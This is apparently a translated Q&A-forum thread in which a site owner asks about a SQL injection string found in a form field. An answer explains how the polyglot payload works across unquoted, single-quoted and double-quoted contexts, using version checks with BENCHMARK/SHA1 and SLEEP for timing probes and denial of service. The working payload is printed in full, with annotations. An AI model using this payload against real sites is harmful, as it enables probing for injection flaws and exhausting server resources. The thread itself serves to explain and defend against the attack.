mysql - 谁知道这个sql注入(inject)？

Question

有人通过在表单中​​取消文本字段来注入(inject)以下内容:

IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/

你有什么想法吗？它是做什么的？对我来说，这看起来像是在尝试放慢速度。

你可以在google中找到很多被注入(inject)的网站(使用这段代码)。我估计有一些“ super 黑客脚本”用于此。它似乎使用“sample@email.tst”作为默认电子邮件地址。有人知道那个脚本吗？

Answer 1

无论输入框的值在旧版本的 MySQL 和新版本上是不带引号、单引号还是双引号，都会严重影响 CPU，休眠 5 秒，保持连接打开。

在每种情况下，如果应用程序容易受到 SQL 注入(inject)的攻击，它都可能会执行拒绝服务攻击，因为长时间保持连接打开可能会导致服务器耗尽资源/可用连接。

-- if unquoted, it sees this:
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))
---and then ignores the rest, which appears commented:        
/*


-- If it's single-quoted, it doesn't see the comment,
-- rather, it terminates the singlequote:
'
-- ...and then sees this: 
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
--- ...and then sees the next part as a single-quoted string terinated in the client
'|


--but if it's a double-quoted, string, it sees the end double-quote:
"
-- ...and runs this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
---and then opens a doublequote to be closed in the client
"
-- This is the end of the comment opened in the case of the unquoted client string.
*/

在每种情况下，它都试图对 SHA1 函数的执行进行基准测试，这非常占用 CPU。 BENCHMARK 只是一个将另一个表达式执行固定次数的函数。在这种情况下，它用于在主机上执行 CPU DOS。